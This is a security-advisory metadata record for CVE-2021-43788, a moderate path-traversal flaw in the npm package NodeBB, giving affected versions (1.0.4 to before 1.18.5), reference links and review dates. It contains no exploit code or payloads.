[{'package': {'ecosystem': 'npm', 'name': 'nodebb'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.0.4'}, {'fixed': '1.18.5'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/NodeBB/NodeBB/security/advisories/GHSA-pfj7-2qfw-vwgm'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-43788'}, {'type': 'WEB', 'url': 'https://github.com/NodeBB/NodeBB/commit/c8b2fc46dc698db687379106b3f01c71b80f495f'}, {'type': 'WEB', 'url': 'https://blog.sonarsource.com/nodebb-remote-code-execution-with-one-shot/'}, {'type': 'PACKAGE', 'url': 'https://github.com/NodeBB/NodeBB'}, {'type': 'WEB', 'url': 'https://github.com/NodeBB/NodeBB/releases/tag/v1.18.5'}]
|
{'cwe_ids': ['CWE-22'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-30T14:35:14Z', 'nvd_published_at': '2021-11-29T20:15:00Z'}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.